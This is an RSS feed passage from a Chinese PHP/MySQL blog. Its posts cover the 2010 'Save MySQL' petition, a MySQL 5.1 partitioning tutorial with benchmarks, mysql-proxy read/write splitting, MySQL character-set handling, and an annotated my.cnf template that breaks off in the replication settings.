PHP5研究室 - 国内Android用户的第一选择! http://www.phpv.net/ 为Android手机提供免费应用软件,ROM,免费游戏,破解刷机,汉化工具! 同时为Android开发者提供交流平台. Tue, 16 Jan 2018 19:41:37 +0000 Chiron ver1.0 zh-cn hourly 1 Save Mysql 拯救MySQL! http://www.phpv.net/html/1709.html http://www.phpv.net/html/1709.html#comment Thu, 28 Jan 2010 19:22:41 +0000 http://www.phpv.net/html/1709.html 为阻止Oracle收购Sun,在欧盟似乎已决定批准这项70亿美元的收购案之后,MySQL数据库创始人开始寻求中国和俄罗斯帮助。

在一封给中国 MySQL用户的邮件中写道 “亲爱的拯救MySQL的中国签名支持者,欧盟可能无法拯救MySQL, 中国和俄罗斯可能是拯救MySQL的希望之所在。中国拥有强大、独立以及自信的反垄断主管机关,因此,我本人在此请求您的帮助。对于您的签名,我们深表感谢。如果可以的话,我们需要您的进一步帮助……”


下面是具体的参与方法
点击这个链接并且填写自己的信息提交即可
http://helpmysql.org/cn/petition

 

 

FAQ:

----------------------------------

我们还有多少时间?

时间紧迫,但您仍然可以帮上忙。如果已经太晚(不论好还是坏),我们将立即停用请愿书,并在本网站每一页面上公布结果。

在我们通知您之前,请不要相信已经结束的任何说法。这些说法可能是试图破坏本次活动的某些人散布的。

本次活动网站于2009年12月28日启动。我们越早赢得大量支持者越好。关键的日期是2010年1月4日。那一天(明年的第一个工作日)我们计划 正式向监管者、其他政府机构、议会和记者提交请愿书。之后,我们将继续收集支持,直到程序结束,而且表示持续的支持也很重要。我们可能在2010年1月或 者可能2月份进行请愿书的多次提交。

活动为何是全球性的?

甲骨文需要在全球所有主要市场取得审批。因此,我们将在世界不同地区提交请愿书。

一般而言,监管者会把数据库市场的地理范围界定为全球性的。只要想想MySQL,显然就明白了:人们可以在全球各地下载或获取MySQL,并在各地使用它。因此,您的签名支持甚至会到达您的国家以外的世界其他地方的监管者面前。

我们需要多少签名才能成功?

没有特定限值。这不是事先就知道100,000签名者就能启动政治程序(根据某些法律)的请愿。这是有关MySQL用户的关注和希望达成令MySQL今后独立于甲骨文的真正解决方案(或者至少依赖程度更小)的表达。

这不仅仅是关于绝对数字的问题,而是如何能尽快签字,而且签字是否始终以较高速度增长的问题。您越快签字,越快让其他人知道就越好。

如何处理我的数据?我能相信你吗?

我们知道如您支持本次活动那么您就信任我们,我们将证明我们是值得信赖的。

我们有明确的资料保密声明,请见请愿书页,说明您的数据将只能用于提交请愿书给监管者、其他政府机关、议会和重要、声誉良好的新闻机构记者。如我们向您发送了有关本次活动的信息,您可点击取消链接,这样您将不会收到我们的任何其他电子邮件。

你们如何向监管者、议会和新闻机构提交请愿书?谁会看到请愿书?

有时候请愿书是以打印文件的方式提交,以表明其数量庞大。但是,为了环保考虑,我们可能选择以电子格式提交大多数的请愿书。监管者、议会和重要、著 名的新闻媒体会收到它们,其中附带了不得以任何与本次活动无关的方式使用数据的明确要求,并且,新闻媒体必须签署接收上述要求的文件,并将不被允许从请愿 书中引用任何姓名和其他唯一或范围较窄的识别数据,除非他们从签字人处收到书面明示许可(包括电子邮件方式),允许在报道中提及。

处理本次案件的监管者将把请愿书放入甲骨文/太阳微电子案卷中。对于查看该卷宗有特殊的规定。例如,欧盟甲骨文律师当然会有权看到请愿书。因此,有必要让请愿书具有真正的震撼效果。

我们不要求请愿书中提供任何特殊的敏感信息,如您决定填写其中内容的,我们也不希望您在公共或私人评论字段中提供任何敏感信息。

如何能最有效地帮助请愿成功?

显然最好的第一步就是您在请愿书上签字。

帮助倡议 部分,您可找到进一步说明和材料,以及在网站上设置的标语。

我们相信您知道其他专业的MySQL用户,并且有办法鼓励他们在请愿书上签字。

我需要现在亲自写信给欧盟吗?或者写信给本国的反垄断机构或议会,例如欧洲议会?

我们认为本次活动将产生大量的回复,当然对于各个机构而言处理完整的请愿书更加容易一些。我们尽可能通过互联网进行号召,包括通过电子邮件,除非通过直接联系能够取得明显不同的良好效果。

如果您可以代表10名或以上员工规模的公司发言,并且MySQL对贵公司很重要,或者如果您可以代表100名或以上员工规模的公司发言,而且贵公司 把MySQL用于重大业务目的,请联系贵国反垄断机构,并表达您关于甲骨文收购MySQL计划的关注。如您需要任何帮助,请使用联系表向我们提问。

]]>
通过分区(Partition)提升MySQL性能 http://www.phpv.net/html/1708.html http://www.phpv.net/html/1708.html#comment Fri, 27 Nov 2009 10:49:16 +0000 抽烟的蚊子 http://www.phpv.net/html/1708.html
数据库分区是一种物理数据库设计技术,DBA和数据库建模人员对其相当熟悉。虽然分区技术可以实现很多效果,但其主要目的是为了在特定的SQL操作中减少数据读写的总量以缩减响应时间。

分区主要有两种形式://这里一定要注意行和列的概念(row是行,column是列)

1. 水平分区(Horizontal Partitioning)这种形式分区是对表的行进行分区,通过这样的方式不同分组里面的物理列分割的数据集得以组合,从而进行个体分割(单分区)或集体分割(1个或多个分区)。所有在表中定义的列在每个数据集中都能找到,所以表的特性依然得以保持。

举个简单例子:一个包含十年发票记录的表可以被分区为十个不同的分区,每个分区包含的是其中一年的记录。(朋奕注:这里具体使用的分区方式我们后面再说,可以先说一点,一定要通过某个属性列来分割,譬如这里使用的列就是年份)

2. 垂直分区(Vertical Partitioning) 这种分区方式一般来说是通过对表的垂直划分来减少目标表的宽度,使某些特定的列 被划分到特定的分区,每个分区都包含了其中的列所对应的行。

举个简单例子:一个包含了大text和BLOB列的表,这些text和BLOB列又不经常被访问,这时候就要把这些不经常使用的text和BLOB了划分到另一个分区,在保证它们数据相关性的同时还能提高访问速度。

在数据库供应商开始在他们的数据库引擎中建立分区(主要是水平分区)时,DBA和建模者必须设计好表的物理分区结构,不要保存冗余的数据(不同表中同时都包含父表中的数据)或相互联结成一个逻辑父对象(通常是视图)。这种做法会使水平分区的大部分功能失效,有时候也会对垂直分区产生影响。

在MySQL 5.1中进行分区

MySQL5.1中最激动人心的新特性应该就是对水平分区的支持了。这对MySQL的使用者来说确实是个好消息,而且她已经支持分区大部分模式:

Range(范围) – 这种模式允许DBA将数据划分不同范围。例如DBA可以将一个表通过年份划分成三个分区,80年代(1980’s)的数据,90年代(1990’s)的数据以及任何在2000年(包括2000年)后的数据。

Hash(哈希) – 这中模式允许DBA通过对表的一个或多个列的Hash Key进行计算,最后通过这个Hash码不同数值对应的数据区域进行分区,。例如DBA可以建立一个对表主键进行分区的表。

Key(键值) – 上面Hash模式的一种延伸,这里的Hash Key是MySQL系统产生的。

List(预定义列表) – 这种模式允许系统通过DBA定义的列表的值所对应的行数据进行分割。例如:DBA建立了一个横跨三个分区的表,分别根据2004年2005年和2006年值所对应的数据。

Composite(复合模式) - 很神秘吧,哈哈,其实是以上模式的组合使用而已,就不解释了。举例:在初始化已经进行了Range范围分区的表上,我们可以对其中一个分区再进行hash哈希分区。

分区带来的好处太多太多了,有多少?俺也不知道,自己猜去吧,要是觉得没有多少就别用,反正俺也不求你用。不过在这里俺强调两点好处:

性能的提升(Increased performance) - 在扫描操作中,如果MySQL的优化器知道哪个分区中才包含特定查询中需要的数据,它就能直接去扫描那些分区的数据,而不用浪费很多时间扫描不需要的地方了。需要举个例子?好啊,百万行的表划分为10个分区,每个分区就包含十万行数据,那么查询分区需要的时间仅仅是全表扫描的十分之一了,很明显的对比。同时对十万行的表建立索引的速度也会比百万行的快得多得多。如果你能把这些分区建立在不同的磁盘上,这时候的I/O读写速度就“不堪设想”(没用错词,真的太快了,理论上100倍的速度提升啊,这是多么快的响应速度啊,所以有点不堪设想了)了。

对数据管理的简化(Simplified data management) - 分区技术可以让DBA对数据的管理能力提升。通过优良的分区,DBA可以简化特定数据操作的执行方式。例如:DBA在对某些分区的内容进行删除的同时能保证余下的分区的数据完整性(这是跟对表的数据删除这种大动作做比较的)。

此外分区是由MySQL系统直接管理的,DBA不需要手工的去划分和维护。例如:这个例如没意思,不讲了,如果你是DBA,只要你划分了分区,以后你就不用管了就是了。

站在性能设计的观点上,俺们对以上的内容也是相当感兴趣滴。通过使用分区和对不同的SQL操作的匹配设计,数据库的性能一定能获得巨大提升。下面咱们一起用用这个MySQL 5.1的新功能看看。

下面所有的测试都在Dell Optiplex box with a Pentium 4 3.00GHz processor, 1GB of RAM机器上(炫耀啊……),Fedora Core 4和MySQL 5.1.6 alpha上运行通过。

如何进行实际分区

看看分区的实际效果吧。我们建立几个同样的MyISAM引擎的表,包含日期敏感的数据,但只对其中一个分区。分区的表(表名为part_tab)我们采用Range范围分区模式,通过年份进行分区:



   1. mysql> CREATE TABLE part_tab
   2. -> ( c1 int default NULL,
   3. -> c2 varchar(30) default NULL,
   4. -> c3 date default NULL
   5. ->
   6. -> ) engine=myisam
   7. -> PARTITION BY RANGE (year(c3)) (PARTITION p0 VALUES LESS THAN (1995),
   8. -> PARTITION p1 VALUES LESS THAN (1996) , PARTITION p2 VALUES LESS THAN (1997) ,
   9. -> PARTITION p3 VALUES LESS THAN (1998) , PARTITION p4 VALUES LESS THAN (1999) ,
  10. -> PARTITION p5 VALUES LESS THAN (2000) , PARTITION p6 VALUES LESS THAN (2001) ,
  11. -> PARTITION p7 VALUES LESS THAN (2002) , PARTITION p8 VALUES LESS THAN (2003) ,
  12. -> PARTITION p9 VALUES LESS THAN (2004) , PARTITION p10 VALUES LESS THAN (2010),
  13. -> PARTITION p11 VALUES LESS THAN MAXVALUE );
  14. Query OK, 0 rows affected (0.00 sec)

注意到了这里的最后一行吗?这里把不属于前面年度划分的年份范围都包含了,这样才能保证数据不会出错,大家以后要记住啊,不然数据库无缘无故出错你就爽了。那下面我们建立没有分区的表(表名为no_part_tab):


   1. mysql> create table no_part_tab
   2. -> (c1 int(11) default NULL,
   3. -> c2 varchar(30) default NULL,
   4. -> c3 date default NULL) engine=myisam;
   5. Query OK, 0 rows affected (0.02 sec)

下面咱写一个存储过程(感谢Peter Gulutzan给的代码,如果大家需要Peter Gulutzan的存储过程教程的中文翻译也可以跟我要,chenpengyi◎gmail.com),它能向咱刚才建立的已分区的表中平均的向每个分区插入共8百万条不同的数据。填满后,咱就给没分区的克隆表中插入相同的数据:


   1. mysql> delimiter //
   2. mysql> CREATE PROCEDURE load_part_tab()
   3. -> begin
   4. -> declare v int default 0;
   5. -> while v < 8000000
   6. -> do
   7. -> insert into part_tab
   8. -> values (v,’testing partitions’,adddate(’1995-01-01′,(rand(v)*36520) mod 3652));
   9. -> set v = v + 1;
  10. -> end while;
  11. -> end
  12. -> //
  13. Query OK, 0 rows affected (0.00 sec)
  14. mysql> delimiter ;
  15. mysql> call load_part_tab();
  16. Query OK, 1 row affected (8 min 17.75 sec)
  17. mysql> insert into no_part_tab select * from part_tab;
  18. Query OK, 8000000 rows affected (51.59 sec)
  19. Records: 8000000 Duplicates: 0 Warnings: 0

表都准备好了。咱开始对这两表中的数据进行简单的范围查询吧。先分区了的,后没分区的,跟着有执行过程解析(MySQL Explain命令解析器),可以看到MySQL做了什么:



   1. mysql> select count(*) from no_part_tab where
   2. -> c3 > date ‘1995-01-01′ and c3 < date ‘1995-12-31′;
   3. +———-+
   4. | count(*) |
   5. +———-+
   6. | 795181 |
   7. +———-+
   8. 1 row in set (38.30 sec)
   9. mysql> select count(*) from part_tab where
  10. -> c3 > date ‘1995-01-01′ and c3 < date ‘1995-12-31′;
  11. +———-+
  12. | count(*) |
  13. +———-+
  14. | 795181 |
  15. +———-+
  16. 1 row in set (3.88 sec)
  17. mysql> explain select count(*) from no_part_tab where
  18. -> c3 > date ‘1995-01-01′ and c3 < date ‘1995-12-31′\G
  19. *************************** 1. row ***************************
  20. id: 1
  21. select_type: SIMPLE
  22. table: no_part_tab
  23. type: ALL
  24. possible_keys: NULL
  25. key: NULL
  26. key_len: NULL
  27. ref: NULL
  28. rows: 8000000
  29. Extra: Using where
  30. 1 row in set (0.00 sec)
  31. mysql> explain partitions select count(*) from part_tab where
  32. -> c3 > date ‘1995-01-01′ and c3 < date ‘1995-12-31′\G
  33. *************************** 1. row ***************************
  34. id: 1
  35. select_type: SIMPLE
  36. table: part_tab
  37. partitions: p1
  38. type: ALL
  39. possible_keys: NULL
  40. key: NULL
  41. key_len: NULL
  42. ref: NULL
  43. rows: 798458
  44. Extra: Using where
  45. 1 row in set (0.00 sec)

从上面结果可以容易看出,设计恰当表分区能比非分区的减少90%的响应时间。而命令解析Explain程序也告诉我们在对已分区的表的查询过程中仅对第一个分区进行了扫描,其他都跳过了。
哔厉吧拉,说阿说……反正就是这个分区功能对DBA很有用拉,特别对VLDB和需要快速反应的系统。

对Vertical Partitioning的一些看法

虽然MySQL 5.1自动实现了水平分区,但在设计数据库的时候不要轻视垂直分区。虽然要手工去实现垂直分区,但在特定场合下你会收益不少的。例如在前面建立的表中,VARCHAR字段是你平常很少引用的,那么对它进行垂直分区会不会提升速度呢?咱们看看测试结果:



   1. mysql> desc part_tab;
   2. +——-+————-+——+—–+———+——-+
   3. | Field | Type | Null | Key | Default | Extra |
   4. +——-+————-+——+—–+———+——-+
   5. | c1 | int(11) | YES | | NULL | |
   6. | c2 | varchar(30) | YES | | NULL | |
   7. | c3 | date | YES | | NULL | |
   8. +——-+————-+——+—–+———+——-+
   9. 3 rows in set (0.03 sec)
  10. mysql> alter table part_tab drop column c2;
  11. Query OK, 8000000 rows affected (42.20 sec)
  12. Records: 8000000 Duplicates: 0 Warnings: 0
  13. mysql> desc part_tab;
  14. +——-+———+——+—–+———+——-+
  15. | Field | Type | Null | Key | Default | Extra |
  16. +——-+———+——+—–+———+——-+
  17. | c1 | int(11) | YES | | NULL | |
  18. | c3 | date | YES | | NULL | |
  19. +——-+———+——+—–+———+——-+
  20. 2 rows in set (0.00 sec)
  21. mysql> select count(*) from part_tab where
  22. -> c3 > date ‘1995-01-01′ and c3 < date ‘1995-12-31′;
  23. +———-+
  24. | count(*) |
  25. +———-+
  26. | 795181 |
  27. +———-+
  28. 1 row in set (0.34 sec)

在设计上去掉了VARCHAR字段后,不止是你,俺也发现查询响应速度上获得了另一个90%的时间节省。所以大家在设计表的时候,一定要考虑,表中的字段是否真正关联,又是否在你的查询中有用?

补充说明

这么简单的文章肯定不能说全MySQL 5.1 分区机制的所有好处和要点(虽然对自己写文章水平很有信心),下面就说几个感兴趣的:

◆支持所有存储引擎(MyISAM, Archive, InnoDB, 等等)

◆ 对分区的表支持索引,包括本地索引local indexes,对其进行的是一对一的视图镜像,假设一个表有十个分区,那么其本地索引也包含十个分区。

◆关于分区的元数据Metadata的表可以在INFORMATION_SCHEMA数据库中找到,表名为PARTITIONS。

◆All SHOW 命令支持返回分区表以及元数据的索引。

◆对其操作的命令和实现的维护功能有(比对全表的操作还多):



   1. o ADD PARTITION
   2. o DROP PARTITION
   3. o COALESCE PARTITION
   4. o REORGANIZE PARTITION
   5. o ANALYZE PARTITION
   6. o CHECK PARTITION
   7. o OPTIMIZE PARTITION
   8. o REBUILD PARTITION
   9. o REPAIR PARTITION

站在性能主导的观点上来说,MySQL 5.1的分区功能能给数据性能带来巨大的提升的同时减轻DBA的管理负担,如果分区合理的话。如果需要更多的资料可以去 http://dev.mysql.com/doc/refman/5.1/en/partitioning.html或 http://forums.mysql.com/list.php?106获得相关资料。

]]>
mysql proxy 实现读写分离 http://www.phpv.net/html/1685.html http://www.phpv.net/html/1685.html#comment Thu, 16 Apr 2009 10:25:49 +0000 抽烟的蚊子 http://www.phpv.net/html/1685.html

听说mysql proxy 0.7.0即将发布,正好前些日子从bzr上获取mysql proxy的代码编译过, 看看当时bzr的版本号,和现在也差不了多少。在这期间,我又花了一些时间把mysql配置成读写分离,出了不少状况,由于使用的人不太多,解决问题超费劲——搜索不到有帮助的内容啊。

但是我可能是比较幸运的,最后成功的实现了读写分离,目前在开发环境运行的比较稳定,所以有必要做个笔记分享一下。

读写分离脚本的问题

刚启动mysql proxy的时候,经常报错 -- "Mysql server has gone away"。我进一步缩小了可能出问题的范围(把环境简化是很重要的查错手段),比如只连接一个mysql,或者只连接本机的mysql,没有太大帮助,最后是在mysql proxy的日志文件中看到些蛛丝马迹:

(critical) proxy-plugin.c:1367: (connect_server) [string "/usr/local/share/mysql-proxy/r..."]:69: .address is deprecated. Use .src.name or .dst.name instead
(critical) (read_query) [string "/usr/local/share/mysql-proxy/r..."]:179: .address is deprecated. Use .src.name or .dst.name instead
(critical) proxy-plugin.c.1115: I have no server backend, closing connection

mysql proxy的论坛上看到有人碰到类似的问题,很简单,读写分离的lua脚本还是旧的,0.6.1时代的产物了,更糟糕的是,即便是即将发布的0.7.0,rw-splitting.lua也是旧版本的。lua脚本中的.address需要替换成.src.name或者.dst.name

解决办法 —— 下载更新之后的rw-splitting.lua,情况会好转。

使用prepare方法无法获得结果

我在测试代码中采用php的pdo_mysql,单独连接mysql是毫无问题的,然而配合mysql proxy使用则是屡屡受挫,查询经常没有结果返回,比较随机,从日志中也找不到有帮助的内容。这次没有找到解决办法,所以我绕了过去,在连接mysql 的时候使用伪prepare的方式:


PHP:
  1. $option = array(PDO::ATTR_EMULATE_PREPARES => 1);

据称emulate方式的性能比prepare要好,所以这也算安慰奖了。

专门的lua脚本分支

lua脚本开发滞后,是一个比较严重的问题,所以在邮件组上看到有个新的lua脚本分支出来 —— https://launchpad.net/mysql-proxy-lua-scripts。希望开发速度能跟上来。


keepalive参数

mysql proxy还不算太稳定,偶尔crash我也不觉得惊讶,所以新增的keepalive参数很有用。在proxy启动的时候,加上--keepalive参数,它便会努力保持proxy的运行状态,停止了也会自动重启。


]]>
关于MySQL字符集架构的思考 http://www.phpv.net/html/1670.html http://www.phpv.net/html/1670.html#comment Mon, 23 Feb 2009 09:20:24 +0000 esayr http://www.phpv.net/html/1670.html 最近几个月,我每次用MySQL,几乎都会想:MySQL现在如此层次分明的字符集架构作用真的很大吗?

MySQL的字符集处理是这样的:


1)发送请求
客户端(character_set_client)=》数据库连接(character_set_connection)=》存储(table,column)
2)返回请求
存储(table,column)=》数据库连接(character_set_connection )=》客户端(character_set_results)

在每一个非初始节点,都会做一次从上一个结点到当前节点的字符集转换操作。举个例子,有如下环境:
* character_set_connection utf-8
* character_set_results gbk
* character_set_client gb2312
* 有表A,字段字符集全部为BIG5

发送请求的时候,首先数据从gbk转换为utf-8,再转换为BIG5,然后再存储。
返回请求的时候,首先数据从BIG5转换为utf-8,再转换为gb2312,然后再发送给客户端。

这样的架构到底有什么用呢?


1)允许不同的客户端具有不同的字符集。典型的例子就是,我有一个utf-8的站点,这个站点就是一个charset client为utf-8的客户端。与此同时,我有可能需要在一个gbk的终端上读写数据库,这又是一个客户端,不过它的字符集是gbk。
2)通过数据库操作文件系统的时候,需要把文件路径转为文件系统的字符集。例如我的客户端是gbk,而服务器文件系统是utf-8。操作”/A片 /Rina.rmvb”,发送过去的数据里,“片”的数据和服务器是不一样的。这时候就需要有个办法可以把转换GBK的“片”到utf-8。在这里 MySQL引入了一个叫character_filesystem的东西来完成这个事情。

除此之外,我暂时想不到其他的作用了。但是仔细想想,我们真的需要这样的处理吗?很多网站,无非就是希望自己的数据能怎么进去就怎么出来。这里又有两种情况了。


1)希望可以根据数据进行排序或者做like操作。首先说排序,对于包含中文的字段来说,根据字符集排序的概念如同鸡肋。简体中文排序,一般都是希望按拼音来排序。我没有去真正了解过MySQL里的校验,但是从我接触过的程序来看,需要做此类排序,都是专门建一个存放拼音的字段来排序。而拼音又存在多音字的情况。如果是UTF-8,还存在某个区间的中文同时被中日韩三国共用的情况。实现起来不是这么容易,所以MySQL无论的GBK还是UTF-8的校验集 应该都没有实现拼音。我敢说,现在国内使用MySQL的大多数网站,所用到的校验集,只是一个byte排序而已。而byte排序,根本不需要使用什么字符 集。所以说对于中文站点,MySQL字符校验在排序上没任何意义。

但是在like操作上,倒是有了一点点意义。例如我like ‘%a%’,就有可能匹配到某个中文某个部分含有a。当然这种情况在utf-8下不会遇到,因为utf-8的存储格式导致a只可能是a,不可能是一个多字节字符的一部分。但是在其他字符集可能就会有这个问题了。说到最后,like又变得和order一样使得校验没意义了。晕倒。

2)如果完全不需要对数据进行排序,like或者全文检索,那么请停止使用char,varchar,text之类的吧。 binary,varbinary,BLOB才是正确的选择。binary之类的在存储,取出的时候都不会进行字符集转换,而在排序时候,只根据二进制内 容排序,所以在效率上高出char,varchar,text很多。

这种情况更不需要字符集了。但是按照目前MySQL的架构,在client和connection之间的字符集操作,是忽略字段类型的,在这两个节点之间,依然会进行字符集转换。

说了这么多,我都不知道说什么了。本来是想说MySQL的字符集看似强大实则无用。但是写下来,发现勉强还有一点作用。另外前段时间想总结一下MySQL的字符集,不过没写完。

另外提一下PHP里的设置字符集。大家请不要再使用mysql_query(”set names utf8″)这样的语句了。mysql_set_charset()才 是最完整的字符集设置方式。后者比前者多一个设置,就是把struct MySQL的charset成员也设置了。这个成员变量在escape的时候起着很重要的作用,特别是对于GBK这种运行把“\”作为字符一部分的编码格式。如果你只使用mysql_query(”set names XXX”),那么在某些字符集,会有重大的安全漏洞,导致mysql_real_escape_string变得和addslashes一样不安全。

在计算机技术里,字符集是我很喜欢研究的一个东西。我接触的东西,我都希望把字符集处理方式弄清楚。这是因为我在3年前,对字符集完全不理解。对于完全不理解的东西,我总是很渴望去完全理解它。

BTW:随着各种多字节字符集的广泛应用,而在软件开发里人数比例非常高的操英文的程序员对多字节字符并不是很了解,这是最近几年很多漏洞都是多字节引起的一个原因。我们中日韩的程序员在这方面有优势,顶了!

]]>
MySQL配置文件my.cnf中文版 http://www.phpv.net/html/1666.html http://www.phpv.net/html/1666.html#comment Thu, 15 Jan 2009 11:36:02 +0000 抽烟的蚊子 http://www.phpv.net/html/1666.html

#BEGIN CONFIG INFO
#DESCR: 4GB RAM, 只使用InnoDB, ACID, 少量的连接, 队列负载大
#TYPE: SYSTEM
#END CONFIG INFO

#
# 此mysql配置文件例子针对4G内存
# 主要使用INNODB
#处理复杂队列并且连接数量较少的mysql服务器
#
# 将此文件复制到/etc/my.cnf 作为全局设置,
# mysql-data-dir/my.cnf 作为服务器指定设置
# (@localstatedir@ for this installation) 或者放入
# ~/.my.cnf 作为用户设置.
#
# 在此配置文件中, 你可以使用所有程序支持的长选项.
# 如果想获悉程序支持的所有选项
# 请在程序后加上"--help"参数运行程序.
#
# 关于独立选项更多的细节信息可以在手册内找到
#

#
# 以下选项会被MySQL客户端应用读取.
# 注意只有MySQL附带的客户端应用程序保证可以读取这段内容.
# 如果你想你自己的MySQL应用程序获取这些值
# 需要在MySQL客户端库初始化的时候指定这些选项

#
[client]
#password = [your_password]
port = @MYSQL_TCP_PORT@
socket = @MYSQL_UNIX_ADDR@

# *** 应用定制选项 ***

#
#  MySQL 服务端
#
[mysqld]

# 一般配置选项
port = @MYSQL_TCP_PORT@
socket = @MYSQL_UNIX_ADDR@

# back_log 是操作系统在监听队列中所能保持的连接数,
# 队列保存了在MySQL连接管理器线程处理之前的连接.
# 如果你有非常高的连接率并且出现"connection refused" 报错,
# 你就应该增加此处的值.
# 检查你的操作系统文档来获取这个变量的最大值.
# 如果将back_log设定到比你操作系统限制更高的值,将会没有效果
back_log = 50

# 不在TCP/IP端口上进行监听.
# 如果所有的进程都是在同一台服务器连接到本地的mysqld,
# 这样设置将是增强安全的方法
# 所有mysqld的连接都是通过Unix sockets 或者命名管道进行的.
# 注意在windows下如果没有打开命名管道选项而只是用此项
# (通过 "enable-named-pipe" 选项) 将会导致mysql服务没有任何作用!
#skip-networking

# MySQL 服务所允许的同时会话数的上限
# 其中一个连接将被SUPER权限保留作为管理员登录.
# 即便已经达到了连接数的上限.
max_connections = 100

# 每个客户端连接最大的错误允许数量,如果达到了此限制.
# 这个客户端将会被MySQL服务阻止直到执行了"FLUSH HOSTS" 或者服务重启
# 非法的密码以及其他在链接时的错误会增加此值.
# 查看 "Aborted_connects" 状态来获取全局计数器.
max_connect_errors = 10

# 所有线程所打开表的数量.
# 增加此值就增加了mysqld所需要的文件描述符的数量
# 这样你需要确认在[mysqld_safe]中 "open-files-limit" 变量设置打开文件数量允许至少4096
table_cache = 2048

# 允许外部文件级别的锁. 打开文件锁会对性能造成负面影响
# 所以只有在你在同样的文件上运行多个数据库实例时才使用此选项(注意仍会有其他约束!)
# 或者你在文件层面上使用了其他一些软件依赖来锁定MyISAM表
#external-locking

# 服务所能处理的请求包的最大大小以及服务所能处理的最大的请求大小(当与大的BLOB字段一起工作时相当必要)
# 每个连接独立的大小.大小动态增加
max_allowed_packet = 16M

# 在一个事务中binlog为了记录SQL状态所持有的cache大小
# 如果你经常使用大的,多声明的事务,你可以增加此值来获取更大的性能.
# 所有从事务来的状态都将被缓冲在binlog缓冲中然后在提交后一次性写入到binlog中
# 如果事务比此值大, 会使用磁盘上的临时文件来替代.
# 此缓冲在每个连接的事务第一次更新状态时被创建
binlog_cache_size = 1M

# 独立的内存表所允许的最大容量.
# 此选项为了防止意外创建一个超大的内存表导致永尽所有的内存资源.
max_heap_table_size = 64M

# 排序缓冲被用来处理类似ORDER BY以及GROUP BY队列所引起的排序
# 如果排序后的数据无法放入排序缓冲,
# 一个用来替代的基于磁盘的合并分类会被使用
# 查看 "Sort_merge_passes" 状态变量.
# 在排序发生时由每个线程分配
sort_buffer_size = 8M

# 此缓冲被使用来优化全联合(full JOINs 不带索引的联合).
# 类似的联合在极大多数情况下有非常糟糕的性能表现,
# 但是将此值设大能够减轻性能影响.
# 通过 "Select_full_join" 状态变量查看全联合的数量
# 当全联合发生时,在每个线程中分配
join_buffer_size = 8M

# 我们在cache中保留多少线程用于重用
# 当一个客户端断开连接后,如果cache中的线程还少于thread_cache_size,
# 则客户端线程被放入cache中.
# 这可以在你需要大量新连接的时候极大的减少线程创建的开销
# (一般来说如果你有好的线程模型的话,这不会有明显的性能提升.)
thread_cache_size = 8

# 此允许应用程序给予线程系统一个提示在同一时间给予渴望被运行的线程的数量.
# 此值只对于支持 thread_concurrency() 函数的系统有意义( 例如Sun Solaris).
# 你可可以尝试使用 [CPU数量]*(2..4) 来作为thread_concurrency的值
thread_concurrency = 8

# 查询缓冲常被用来缓冲 SELECT 的结果并且在下一次同样查询的时候不再执行直接返回结果.
# 打开查询缓冲可以极大的提高服务器速度, 如果你有大量的相同的查询并且很少修改表.
# 查看 "Qcache_lowmem_prunes" 状态变量来检查是否当前值对于你的负载来说是否足够高.
# 注意: 在你表经常变化的情况下或者如果你的查询原文每次都不同,
# 查询缓冲也许引起性能下降而不是性能提升.
query_cache_size = 64M

# 只有小于此设定值的结果才会被缓冲
# 此设置用来保护查询缓冲,防止一个极大的结果集将其他所有的查询结果都覆盖.
query_cache_limit = 2M

# 被全文检索索引的最小的字长.
# 你也许希望减少它,如果你需要搜索更短字的时候.
# 注意在你修改此值之后,
# 你需要重建你的 FULLTEXT 索引
ft_min_word_len = 4

# 如果你的系统支持 memlock() 函数,你也许希望打开此选项用以让运行中的mysql在在内存高度紧张的时候,数据在内存中保持锁定并且防止可能被swapping out
# 此选项对于性能有益
#memlock

# 当创建新表时作为默认使用的表类型,
# 如果在创建表示没有特别执行表类型,将会使用此值
default_table_type = MYISAM

# 线程使用的堆大小. 此容量的内存在每次连接时被预留.
# MySQL 本身常不会需要超过64K的内存
# 如果你使用你自己的需要大量堆的UDF函数
# 或者你的操作系统对于某些操作需要更多的堆,
# 你也许需要将其设置的更高一点.
thread_stack = 192K

# 设定默认的事务隔离级别.可用的级别如下:
# READ-UNCOMMITTED, READ-COMMITTED, REPEATABLE-READ, SERIALIZABLE
transaction_isolation = REPEATABLE-READ

# 内部(内存中)临时表的最大大小
# 如果一个表增长到比此值更大,将会自动转换为基于磁盘的表.
# 此限制是针对单个表的,而不是总和.
tmp_table_size = 64M

# 打开二进制日志功能.
# 在复制(replication)配置中,作为MASTER主服务器必须打开此项
# 如果你需要从你最后的备份中做基于时间点的恢复,你也同样需要二进制日志.
log-bin=mysql-bin

# 如果你在使用链式从服务器结构的复制模式 (A->B->C),
# 你需要在服务器B上打开此项.
# 此选项打开在从线程上重做过的更新的日志,
# 并将其写入从服务器的二进制日志.
#log_slave_updates

# 打开全查询日志. 所有的由服务器接收到的查询 (甚至对于一个错误语法的查询)
# 都会被记录下来. 这对于调试非常有用, 在生产环境中常常关闭此项.
#log

# 将警告打印输出到错误log文件.  如果你对于MySQL有任何问题
# 你应该打开警告log并且仔细审查错误日志,查出可能的原因.
#log_warnings

# 记录慢速查询. 慢速查询是指消耗了比 "long_query_time" 定义的更多时间的查询.
# 如果 log_long_format 被打开,那些没有使用索引的查询也会被记录.
# 如果你经常增加新查询到已有的系统内的话. 一般来说这是一个好主意,
log_slow_queries

# 所有的使用了比这个时间(以秒为单位)更多的查询会被认为是慢速查询.
# 不要在这里使用"1", 否则会导致所有的查询,甚至非常快的查询页被记录下来(由于MySQL 目前时间的精确度只能达到秒的级别).
long_query_time = 2

# 在慢速日志中记录更多的信息.
# 一般此项最好打开.
# 打开此项会记录使得那些没有使用索引的查询也被作为到慢速查询附加到慢速日志里
log_long_format

# 此目录被MySQL用来保存临时文件.例如,
# 它被用来处理基于磁盘的大型排序,和内部排序一样.
# 以及简单的临时表.
# 如果你不创建非常大的临时文件,将其放置到 swapfs/tmpfs 文件系统上也许比较好
# 另一种选择是你也可以将其放置在独立的磁盘上.
# 你可以使用";"来放置多个路径
# 他们会按照roud-robin方法被轮询使用.
#tmpdir = /tmp


# ***  复制有关的设置


# 唯一的服务辨识号,数值位于 1 到 2^32-1之间.
# 此值在master和slave上都需要设置.
# 如果 "master-host" 没有被设置,则默认为1, 但是如果忽略此选项,MySQL不会作为master生效.
server-id = 1

# 复制的Slave (去掉master段的注释来使其生效)
#
# 为了配置此主机作为复制的slave服务器,你可以选择两种方法:
#
# 1) 使用 CHANGE MASTER TO 命令 (在我们的手册中有完整描述) -
#    语法如下:
#
#    CHANGE MASTER TO MASTER_HOST=<host>, MASTER_PORT=<port>,
